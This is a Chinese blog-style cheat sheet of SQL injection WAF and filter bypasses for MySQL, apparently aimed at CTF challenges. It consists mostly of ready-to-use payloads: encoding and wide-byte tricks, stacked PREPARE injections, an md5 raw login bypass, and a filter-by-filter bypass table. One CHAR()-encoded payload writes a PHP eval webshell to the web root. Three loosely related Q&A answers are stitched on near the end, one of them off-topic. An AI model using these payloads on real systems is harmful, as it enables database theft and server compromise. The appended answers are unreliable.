sql注入各种绕过

1.注释符号绕过

--  注释内容
# 注释内容
/*注释内容*/
;
;%00

2.大小写绕过

常用于 waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。

UniOn 
SeleCt

3.内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

 select * from cms_users where userid=1 union /*!select*/ 1,2,3;

4.双写绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

5.编码绕过

如URLEncode编码,ASCII,HEX,unicode编码绕过:
对关键字进行两次url全编码:

1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 

ascii编码绕过

Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

16进制绕过:

select * from users where username = test1;
select * from users where username = 0x7465737431;

unicode编码对部分符号的绕过:

单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09

6.<>大于小于号绕过

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。
greatest(n1, n2, n3…):返回n中的最大值 或least(n1,n2,n3…):返回n中的最小值

select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=99;

strcmp(str1,str2):
若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

select * from cms_users where userid=1 and strcmp(ascii(substr(database(),0,1)),99);

in关键字

select * from cms_users where userid=1 and substr(database(),1,1) in ('c');

between a and b:范围在a-b之间(不包含b)

select * from cms_users where userid=1 and substr(database(),1,1) between 'a' and 'd';

7.空格绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

8.对or and xor not 绕过

or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !

9.对等号=绕过

不加通配符的like执行的效果和 = 一致,所以可以用来绕过。
正常加上通配符的like:

 Select * from cms_users where username like "ad%";

不加上通配符的like可以用来取代=:

 Select * from cms_users where username like "admin";

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

Select * from cms_users where username REGEXP "admin";

使用大小于号来绕过

Select * from cms_users where userid>0 and userid<2;

<> 等价于 != ,所以在前面再加一个 ! 结果就是等号了

Select * from cms_users where !(username <> "admin");

10.对单引号的绕过

使用十六进制
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
  users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273

宽字节
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成%df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的 ’ 符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:
1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

空白字符

在这里插入图片描述

1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x ddd})
1 union(select%0adistinctrow{x users}from{x ddd})

11.对逗号的绕过

sql盲注时常用到以下的函数:

substr()
substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后

substring()
用法和substr()一样

mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的

left()和right()
left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串

limit
limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始

ascii()和char()
ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符

对于substr()和mid()这两个方法可以使用from for 的方式来解决
 select substr(database() from 1 for 1)='c';
使用join关键字来绕过
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
使用like关键字 适用于substr()等提取子串的函数中的逗号
select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'
使用offset关键字
 select * from cms_users limit 0,1;
# 等价于下面这条SQL语句
 select * from cms_users limit 1 offset 0;

12.过滤函数绕过

sleep() -->benchmark()
select 12,23 and sleep(1);
参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式
select 12,23 and benchmark(10000000,1);

ascii()–>hex()、bin()
替代之后再使用对应的进制转string即可
group_concat()–>concat_ws()
select group_concat(“str1”,“str2”);
select concat_ws(“,”,“str1”,“str2”);

substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
user() --> @@user、datadir–>@@datadir
ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。

过滤了if函数:
if函数的判断语句
select if(substr(database(),1,1)='c',1,0);
IFNULL函数
select ifnull(substr(database(),1,1)='c',0);
case when then函数
select case substr(database(),1,1)='c' when 1 then 1 else 0 end;

13堆叠注入时利用 MySql 预处理

在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。

PREPARE:准备一条SQL语句,并分配给这条SQL语句一个名字(hello)供之后调用

EXECUTE:执行命令

DEALLOCATE PREPARE:释放命令

SET:用于设置变量(@a)

1';sEt @a=concat("sel","ect flag from flag_here");PRepare hello from @a;execute hello;#

这里还用大小写简单绕了一下其他过滤

MySql 预处理配合十六进制绕过关键字
基本原理如下:

mysql> select hex('show databases');
+------------------------------+
| hex('show databases;')       |
+------------------------------+
| 73686F7720646174616261736573 |
+------------------------------+
1 row in set (0.01 sec)

mysql> set @b=0x73686F7720646174616261736573;
Query OK, 0 rows affected (0.01 sec)

mysql> prepare test from @b;
Query OK, 0 rows affected (0.02 sec)
Statement prepared

mysql> execute test;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| test               |
+--------------------+
6 rows in set (0.02 sec)

即payload类似如下:

1';sEt @a=0x73686F7720646174616261736573;PRepare hello from @a;execute hello;#

MySql预处理配合字符串拼接绕过关键字
原理就是借助char()函数将ascii码转化为字符然后再使用concat()函数将字符连接起来,有了前面的基础这里应该很好理解了:

set @sql=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepare s1 from @sql;execute s1;

也可以不用concat函数,直接用char函数也具有连接功能:

set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,119,104,111,97,109,105,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare s1 from @sql;execute s1;

14’“.md5($pass,true).”’ 登录绕过

很多站点为了安全都会利用这样的语句:

SELECT * FROM users WHERE password = '.md5($password,true).';

md5(string,true) 函数在指定了true的时候,是返回的原始 16 字符二进制格式,也就是说会返回这样子的字符串:'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c:
在这里插入图片描述
这不是普通的二进制字符串,而是 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种,这样的话就会和前面的形成闭合,构成万能密码。

SELECT * FROM users WHERE password = ‘‘or’6…’
这就是永真的了,这就是一个万能密码了相当于 1’ or 1=1# 或 1’ or 1#。

但是我们思考一下为什么 6\xc9]\x99\xe9!r,\xf9\xedb\x1c 的布尔值是true呢?

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数(这类似于PHP的弱类型)。要注意的是这种情况是必须要有单引号括起来的,比如 password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于 password=‘xxx’ or true,所以返回值就是true。这里不只是1开头,只要是数字开头都是可以的。当然如果只有数字的话,就不需要单引号,比如 password=‘xxx’ or 1,那么返回值也是 true。(xxx指代任意字符)

接下来就是找到这样子的字符串,这里给出两个吧。

ffifdyop:
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
129581926211651571912466741651878684928
129581926211651571912466741651878684928:
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

附录 PHP中一些常见的过滤方法及绕过方式

过滤关键字   and or
php代码   preg_match('/(and|or)/i',$id)
会过滤的攻击代码    1 or 1=1 1 and 1=1
绕过方式    1 || 1=1 1 && 1=1

过滤关键字   and or union
php代码   preg_match('/(and|or|union)/i',$id)
会过滤的攻击代码    union select user,password from users
绕过方式    1 && (select user from users where userid=1)='admin'

过滤关键字   and or union where
php代码   preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码    1 && (select user from users where user_id = 1) = 'admin'
绕过方式    1 && (select user from users limit 1) = 'admin'

过滤关键字   and or union where
php代码   preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码    1 && (select user from users where user_id = 1) = 'admin'
绕过方式    1 && (select user from users limit 1) = 'admin'

过滤关键字   and, or, union, where, limit
php代码   preg_match('/(and|or|union|where|limit)/i', $id)
会过滤的攻击代码    1 && (select user from users limit 1) = 'admin'
绕过方式    1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤关键字   and, or, union, where, limit, group by
php代码   preg_match('/(and|or|union|where|limit|group by)/i', $id)
会过滤的攻击代码    1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式    1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤关键字   and, or, union, where, limit, group by, select
php代码   preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
会过滤的攻击代码    1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式    1 && substr(user,1,1) = 'a'

过滤关键字   and, or, union, where, limit, group by, select, '
php代码   preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
会过滤的攻击代码    1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1
绕过方式    1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)

过滤关键字   and, or, union, where, limit, group by, select, ', hex
php代码   preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
会过滤的攻击代码    1 && substr(user,1,1) = unhex(61)
绕过方式    1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤关键字   and, or, union, where, limit, group by, select, ', hex, substr
php代码   preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
会过滤的攻击代码    1 && substr(user,1,1) = lower(conv(11,10,16))/td>
绕过方式    1 && lpad(user,7,1)

过滤关键字   and, or, union, where, limit, group by, select, ', hex, substr, 空格
php代码   preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
会过滤的攻击代码    1 && lpad(user,7,1)/td>
绕过方式    1%0b||%0blpad(user,7,1)

过滤关键字   and or union where
php代码   preg_match('/(and|or|union|where)/i',$id)
会过滤的攻击代码    1 || (select user from users where user_id = 1) = 'admin'
绕过方式    1 || (select user from users limit 1) = 'admin'
### 回答1: SQL(Structured Query Language)是用于关系数据库管理系统的标准语言,用于检索和管理数据。下面是SQL中一些常见的插入语法: 1. 使用INSERT INTO语句插入新数据行: INSERT INTO table_name (column1, column2, column3, ...) VALUES (value1, value2, value3, ...); 2. 使用INSERT INTO SELECT语句将查询结果插入到表中: INSERT INTO table_name (column1, column2, column3, ...) SELECT column1, column2, column3, ... FROM another_table WHERE condition; 3. 使用INSERT INTO VALUES语句插入多个数据行: INSERT INTO table_name (column1, column2, column3, ...) VALUES (value1, value2, value3, ...), (value4, value5, value6, ...), (value7, value8, value9, ...); 希望这能帮到您! ### 回答2: SQL注入绕过方式是黑客利用网站没有对用户输入的SQL语句进行充分验证和过滤所导致的攻击方式。以下是一些常见的SQL注入绕过方式: 1. 字符串拼接绕过:在SQL注入攻击时,黑客通常会在用户输入的字符串中插入SQL语句,以改变原始SQL查询的逻辑。为了避免被检测到,黑客可能会使用字符串拼接来规避特殊字符的检测,例如用两个单引号代替一个单引号来绕过检测。 2. 注释绕过:黑客可能会在SQL语句中使用注释符号来注释掉原始查询的结尾部分,然后插入自己的恶意SQL语句。 3. UNION注入:黑客可以利用UNION关键字将两个查询结果进行连接,并将恶意代码插入到UNION查询的结果中。 4. 盲注入:黑客通过盲目地猜测和推测来进行注入攻击,而不直接得到返回的数据。这种方式需要黑客进行更多的尝试和推测,但可以避免产生错误消息。 5. 布尔注入:黑客使用布尔逻辑来决定SQL语句的真假,通过观察不同的页面响应结果,从而推测SQL查询的结果。 为了防止SQL注入攻击,开发人员应该采取以下措施: - 使用参数化查询或预编译语句,而不是拼接用户输入的字符串来构建SQL语句。 - 对用户输入的数据进行严格的验证和过滤,确保只有合法的数据可以用于构建SQL查询。 - 应用程序的数据库账户应该具有最小的权限,避免对数据库进行敏感操作。 - 对所有输入进行输入验证,确保输入符合预期类型和长度。 - 及时更新和修补数据库系统和应用程序的漏洞。 ### 回答3: SQL注入是一种利用输入参数中的恶意SQL代码来绕过应用程序对数据的合法性验证的攻击方法。以下是常见的SQL注入绕过方式: 1. 基于输入的绕过方式:攻击者可以通过在输入中插入特殊字符或语法来破坏原有的SQL查询结构,从而绕过检查。例如,在输入中插入单引号、双引号、分号等特殊字符可以破坏SQL查询的语法。 2. 基于语句拼接的绕过方式:当应用程序使用字符串拼接构造SQL语句时,攻击者可以通过向拼接的字符串中插入恶意代码来执行额外的SQL语句。这种方式下,攻击者可以通过构造恶意代码来绕过应用程序的SQL检查。 3. 基于注释的绕过方式:攻击者可以使用SQL注释符号(例如"--")来注释掉原有的SQL语句,然后插入恶意代码。这种方式下,恶意代码不会被应用程序识别为SQL语句,从而绕过SQL检查。 4. 基于联合查询的绕过方式:攻击者可以通过在恶意输入中插入UNION关键字来将恶意查询和原始查询合并在一起执行。这种方式可以让攻击者获取未授权的数据或执行未授权的操作。 5. 基于错误消息的绕过方式:攻击者可以通过构造特定的恶意输入来引发SQL语法错误,从而导致应用程序返回详细的错误消息。这些错误消息可能包含敏感信息,例如数据库结构、查询逻辑等,攻击者可以利用这些信息来进一步攻击系统。 为了防止SQL注入攻击,开发人员应该采取以下措施:使用参数化查询或预编译语句来避免使用字符串拼接,对输入进行严格的验证和过滤,限制用户对数据库的权限,将敏感信息加密存储等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值